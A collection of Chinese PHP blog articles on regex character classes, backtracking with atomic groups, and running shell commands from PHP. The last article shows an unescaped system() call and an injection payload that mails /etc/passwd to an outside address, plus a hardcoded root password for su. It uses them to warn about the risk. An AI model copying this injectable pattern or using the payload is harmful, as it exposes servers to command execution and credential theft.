PHP中正则表达式对UNICODE字符码的匹配

酷暑难耐,又在家宅一整天。天气热或许是借口,尽管不热,我也喜欢宅在家。晚上看新三国83集(插一句,最近世界杯很火,可是我不看世界杯。来鄙视我吧),一直看到10点半,突然觉得肚子痛,赶紧直奔厕所。如厕之后,觉得精神抖擞,容光焕发,年轻了二十多岁,打开QQ,看到N多条消息,其中有条是生命如蓝同学留的。打开一看,是PPC的链接,突然觉得我好久没登陆PPC了,想当年……..算了,看链接吧。

打开链接,看到标题是“请教PHP 一个正则匹配的问题”,又是正则表达式,好吧,看下,谁让俺比较喜欢鼓捣正则呢。下面开始正题。
网友ainiaa的问题是

PHP代码如下

$words = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSRUVWXYZ!@#$%^&*()_+-=[]\\,./{}|<>?'\"你好啊我们";
$otherStr=preg_replace("/[chr(128)-chr(256)]+/is"," ",$words);
echo 'otherStr:',$otherStr;

为什么打印的结果会是:
otherStr: ! #$% & {}| ‘”你好啊我们

麻烦问下其中正则表达式 /[chr(128)-chr(256)]+/is 代表什么意思?
如果/[chr(128)-chr(256)]+/is 指的是ascii码在128到256的字符,为什么a-zA-Z这样的字符也被替换掉了,他们的ascii码是小于127的。
最令人郁闷的是为什么ascii码同在0-127区间”#”,”$”,”%”,”&”, “!”,” {“,”}”,”|”,” ‘”,”确没有被替换掉????
更令人感觉神奇的是 如果把正则表达式修改为”/[chr(128)-chr(256)]+/s”的话,输出的结果就变成了: otherStr: defg ijklmnopq stuvwxyz ! #$% & {}| ‘”你好啊我们
只是把正则表达式中的符号‘i’给去掉,结果缺失这样的。 完全的令我理解不了。
不知各位 有何见解????
另附ascii 码 对照表
(这个ASCII码表的图我就不贴了)

回帖中,有个网友说没解析chr(128)这些,并给出了新的解决方法。首先说下此网友回答的是正确的,先不评论他是否“知其然,且知其所以然”,这位网友没有给出错误的原因。

CFC4N来回答一下这位网友:

PHP的正则的preg_match函数用的是PCRE正则引擎,这位网友的代码中,PCRE引擎处理的正则表达式为【/[chr(128)-chr(256)]+/is】,后面的is是什么呢?
在PHP的正则里,边界字符后面的叫模式修饰符。它会告诉引擎如何解析,处理正则。其中i修饰符表示不区分大小写。s表示“点号通配模式”,用来让正则里的元字符点号【.】可以匹配换行符,这个修饰符仅对点号【.】起作用。在这位网友的问题中,修饰符s并不起作用的。

查找原因:
我们在来分析一下这个网友写的正则表达式【[chr(128)-chr(256)]+】,正则表达式的PCRE引擎是如何解释这个正则的呢?首先,我们要知道,在正则表达式中,中括号【[]】表示字符组,字符组中除了连接符【-】只外,都不是元字符,也就是说,都是普通字符,当然,如果连字符出现在第一个,或者不是标识两个字符之间范围的,都是普通的字符横杠“-”罢了。这里的chr(128)只是标识ASCII码为128(确切的说,ASCII码只是0-127个,128到其他的,应该不叫ASCII码了。),但是在正则里,他仍然代表【c、h、r、(、1、2、8、)】(顿号不是,只是区分易读的)这八个字符罢了。这个正则里的连接字符,是哪些范围呢?很明显,这里的连接字符的范围是【)-c】,“)”ASCII码为0×29,也就是十进制的41;“c”的ASCII码为0×63,也就是十进制的99,那么,他这个连接字符的范围就是ASCII 41(chr(41))到ASCII 99(chr(99))之间的字符。也就是说,这位网友的正则的范围是【[hr)-c(]】,就是chr(41)到chr(99)外加hr这两个字母和前面的“(”。
网友第一次测试的时候,有修饰符i,意思就是说,不区分大小写,那么在chr(41)到chr(99)之间的字符,以及这些字符如果有大小写,则包括他们的大小写都符合匹配。都会被替换成空。其第二次测试的时候,去掉了修饰符i,进行了不区分大小写的匹配,由于其范围只到c,但突然,再除了小写字母的“h”、“r”,所以,测试结果会多出“defgijklmnopqstuvwxyz”。所以,他的结果出现了这些差别。

PHP正则表达式匹配UNICODE字符


网友的表达式等同于如下图所示

PHP正则表达式匹配UNICODE字符

解决办法:
错误的原因找出来了,那么,解决的办法呢?
我们先来看看这位网友的需求,他的需求是将unicode(ASCII只是0-127位的,128之后的,应该叫UNICODE码)的chr(128)到chr(255)之间的字符匹配,替换为空罢了。正则表达式里,对十六进制的字符匹配的表示方式有两种,【\u】和【\x{}】,前者只能表示【\u】后面4位的十六进制数值,而后者【\x{}】则可以表示任意多的十六进制位数(写在大括号中)。
那么,这个正则表达式该如何写????

网友的目的是chr(128)到chr(255),那么就是【[\u0080-\u00FF]】或者【[\x{0080}-\x{00FF}]】。
其目的是匹配下图中的红框内字符

UNICODE字符128到255字符集图


提醒一下,PHP里正则匹配unicode字符时,需要使用u修饰符。
根据网友需求,更改正则之后的PHP代码如下:

$words = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSRUVWXYZ!@#$%^&*()_+-=[]\\,./{}|<>?'\"你好啊我们";
$otherStr=preg_replace("//[\x{0080}-\x{00FF}]+/iu"," ",$words);
echo 'otherStr:',$otherStr;

其运行结果是仍然输出那段字符串,为什么呢?因为哪些字符串都不在chr(128)到chr(255)的范围之内。
(测试时,注意文件编码为UTF-8)
以上为鄙人愚见,欢迎批评指正。

PHP正则表达式的效率:回溯与固化分组

PHP正则表达式的回溯与固化分组


上文中,我们聊到了一点关于PHP中(NFA PCRE)正则表达式匹配优先量词,忽略优先量词的匹配原理了。那么上文留下的问题,您的答案是什么呢?
先来看下问题。

字符串

$str = '<script>123456</script>';

正则表达式为

$strRegex1 = '%<script>.+<\/script>%';
$strRegex2 = '%<script>.+?<\/script>%';
$strRegex3 = '%<script>(?:(?!<\/script>).)+<\/script>%';

这三个正则,分别会造成几次回溯呢??

答案:

$strRegex1 = '%<script>.+<\/script>%';    //9次,记得区别转义符号。
$strRegex2 = '%<script>.+?<\/script>%';  //5次
$strRegex3 = '%<script>(?:(?!<\/script>).)+<\/script>%';  //7次

对于第一种贪婪匹配的匹配规则,回溯的9次是正则【】对字符串“”匹配时,构成的回溯,回溯的次数,恰好是字符串的长度。
第二种非贪婪匹配规则,回溯5次,是正则【.+?】对字符串“123456”匹配时构成的回溯。回溯的次数,为字符串长度减去最小次数。也就是6-1=5次。如果正则表达式为【.*?】那么,回溯次数就是6次了。
第三种正则是零宽断言,或者叫环视。(暂且不说。)
在NFA正则引擎中,回溯是他的灵魂,所以,不管是贪婪,非贪婪,环视等写法中肯定会有回溯的出现的,这个我们无法避免(用词不太准确),但是,我们可以减少回溯的次数,或者保护其中一部分匹配的规则不进行回溯。

对于上篇BLOG上提到的鸟哥谈到一个非贪婪引起的大量回溯问题,大家可以知道,回溯,确实是浪费资源的罪魁祸首,那么,我们能否不让其回溯呢?
答案是肯定的,NFA引擎中,有个概念,叫固化分组。引用一下书上的概念

具体来说,使用「(?>…)」的匹配与正常的匹配并无差别,但是如果匹配进行到此结构之后(也就是,进行到闭括号之后),那么此结构体中的所有备用状态都会被放弃。也就是说,在固化分组匹配结束时,它已经匹配的文本已经固化为一个单元,只能作为整体而保留或放弃。括号内的子表达式中未尝试过的备用状态都不复存在了,所以回溯永远也不能选择其中的状态(至少是,当此结构匹配完成时,“锁定(locked in)”在其中的状态)。

那么,固化分组到底有什么用处呢?我们来举个例子。(找不到合适的例子,俺只好借用一下书上的例子了)
比如要处理一批数据,原来格式为123.456,后来因为浮点数显示问题,部分数据格式变为123.456000000789这种,,要求做到只保留小数点后面2-3位,但是,最后一位不能为0,这个正则如何写呢?(下面直接考虑小数点后面的数字),写出正则之后,我们还要用这个正则去匹配数据,把原来的数据替换成匹配的结果。
首先,我们可以立刻写出这样的正则【\.\d\d[1-9]?\d*】,PHP代码为

$str = preg_replace('\.(\d\d[1-9]?)\d*','\\1',$str);  //匹配结果的group1进行反向引用

很明显,这种写法,对于部分数据格式为123.456的这种格式,白白的处理了一遍,为了提高效率,我们还要对这个正则进行处理。从123.456这个字符串跟其他的比较一下,我们发现,是疑问123.456这个数据后面没数字了,所以,白白处理一遍。那好办,我们对这个正则改造一下,把后面的量词*改成+,这样对于123.45 小数点后面1,2位数字的,不会去白白处理,而且,对三位以上数字的,处理正常。其PHP代码为

$str = preg_replace('\.(\d\d[1-9]?)\d+','\\1',$str);

好了,这个正则真的没问题吗??确定吗?上篇博文,我们了解了匹配原理,那么,我们也分析一下这个正则的匹配过程吧。
字符串"123.456",正则表达式为【\.(\d\d[1-9]?)\d+】,我们来看下
首先(小数点前123不说了),【\.】匹配".",匹配成功,把控制权给下一个【\d】,【\d】匹配“4”成功,把控制权给第二个【\d】,这个【\d】匹配“5”成功,然后,把控制权给了【[1-9]?】,由于量词是【?】,正则表达式遵循“量词优先匹配”,而且,此处是【?】,还会留下一个回溯点。然后匹配"6"成功,然后把控制权给【\d+】,【\d+】发现后面没字符了,最遵循“后进先出”规则,回到上一个回溯点,进行匹配,这时,【[1-9]?】会交还出其匹配的字符“6”,【[1-9]?】匹配“6”成功。匹配完成了。大家发现【(\d\d[1-9]?)】匹配的结果确是"45",并不是我们想要的“456”,“6”被【\d+】匹配去了。那么,我们该如何办呢? 能否让【[1-9]?】匹配一旦成功,不进行回溯呢?这就用到了我们上面说的"固化分组", PHP(preg_replace函数)中使用的正则引擎支持固化分组,我们根据固化分组的写法,可以把代码改成如下方式

$str = preg_replace('\.(\d\d(?>[1-9]?))\d+','\\1',$str);

改成这样的话,那字符串“123.456“是不符合要求,不会被匹配的。那我们就可以实现我们的要求了。

从上面的例子中,知道了固化分组的作用,那么对于鸟哥BLOG上写的那个非贪婪的回溯问题,我们能否也对其改造,使得其不回溯呢?
先看下鸟哥给的答案

/<script>[^<]*<\/script>/is

鸟哥写的很精悍。排除“<”之外的所有字符都符合,而且,中间部分不回溯,效率高。可是,如果中间有字符“<“的话(如下代码)

<script>
if a < b
</script>

那鸟哥的这个正则就不能匹配,就不能实现我们想要的功能了。
那我们可以根据 固化分组、环视(零宽断言)来实现这个要求,最后,CFC4N给出的正则以及PHP代码事例如下

$reg = '%<script>(?>[^<]*)(?>(?!</?script>)<[^<]*)*</script>%is';
$str = str_pad("<script>", 111111, "*");    //字符长度大于PHP回溯限制的100000
$str .= 'if a < b ; if b > c;</script>';    //随便加几个包含 < > 的测试字符
$ret = preg_replace($reg, "OK", $str);
print_r($ret);                              //打印结果 OK,证明匹配正确
var_dump(preg_last_error());                //上一次匹配错误。其输出为 int(0)

嗨,同学,你看明白了吗?

以上为小菜CFC4N的愚文,如有错误,欢迎指出。

在PHP中执行系统外部命令

PHP作为一种服务器端的脚本语言,象编写简单,或者是复杂的动态网页这样的任务,它完全能够胜任。但事情不总是如此,有时为了实现某个功能,必须借助于操作系统的外部程序(或者称之为命令),这样可以做到事半功倍。

那么,是否可以在PHP脚本中调用外部命令呢?如果能,如何去做呢?有些什么方面的顾虑呢?相信你看了本文后,肯定能够回答这些问题了。

是否可以?

答案是肯定的。PHP和其它的程序设计语言一样,完全可以在程序内调用外部命令,并且是很简单的:只要用一个或几个函数即可。

前提条件

由于PHP基本是用于WEB程序开发的,所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门:安全模式。如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的限制:

执行外部命令

在打开文件时有些限制

连接MySQL数据库

基于HTTP的认证

在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用safe_mode_exec_dir指令,或在编译PHP是加上–with-exec-dir选项来指定,默认是/usr/local/php/bin。

如果你调用一个应该可以输出结果的外部命令(意思是PHP脚本没有错误),得到的却是一片空白,那么很可能你的网管已经把PHP运行在安全模式下了。

如何做?

在PHP中调用外部命令,可以用如下三种方法来实现:

1) 用PHP提供的专门函数

PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()

system()

原型:string system (string command [, int return_var])

system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。

例子:

exec()

原型:string exec (string command [, string array [, int return_var]])

exec()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二个参数时,才可以用第三个参数,用来取得命令执行的状态码。

例子:

<?

exec("/bin/ls -l");

exec("/bin/ls -l", $res);

#$res是一个数据,每个元素代表结果的一行

exec("/bin/ls -l", $res, $rc);

#$rc的值是命令/bin/ls -l的状态码。成功的情况下通常是0

?>

passthru()

原型:void passthru (string command [, int return_var])

passthru()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。

例子:

<?

header("Content-type: image/gif");

passthru("./ppmtogif hunte.ppm");

?>

2) 用popen()函数打开进程

上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。

popen()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭它。

例子1:

<?

$fp=popen("/bin/ls -l", "r");

?>

例子2(本例来自PHP中国联盟网站http://www.phpx.com/show.php?d=col&i=51):

<?

/* PHP中如何增加一个系统用户

下面是一段例程,增加一个名字为james的用户,

root密码是 verygood。仅供参考

*/

$sucommand = "su --login root --command";

$useradd = "useradd ";

$rootpasswd = "verygood";

$user = "james";

$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);

$fp = @popen($user_add,"w");

@fputs($fp,$rootpasswd);

@pclose($fp);

?>

3) 用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)

这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:

<?php

$res=`/bin/ls -l`;

echo '<b><pre>'.$res.'</pre></b>';

?>

这个脚本的输出就象:

hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php

要考虑些什么?
要考虑两个问题:安全性和超时。

先看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这个文件。程序就象这样:

<?php

system("mail $to < products.txt");

echo "我们的产品目录已经发送到你的信箱:$to";

?>

用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:

‘–bla ; mail someone@domain.com < /etc/passwd ;’

那么这条命令最终变成:

‘mail –bla ; mail someone@domain.com < /etc/passwd ; < products.txt’

我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。

幸好,PHP为我们提供了两个函数:EscapeShellCmd()EscapeShellArg()
函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入(<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串就可以安全地作为命令的参数。

再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是把命令的输出重定向到另外一个文件或流中,如:

<?php
system("/usr/local/bin/order_proc > /tmp/null &");
?>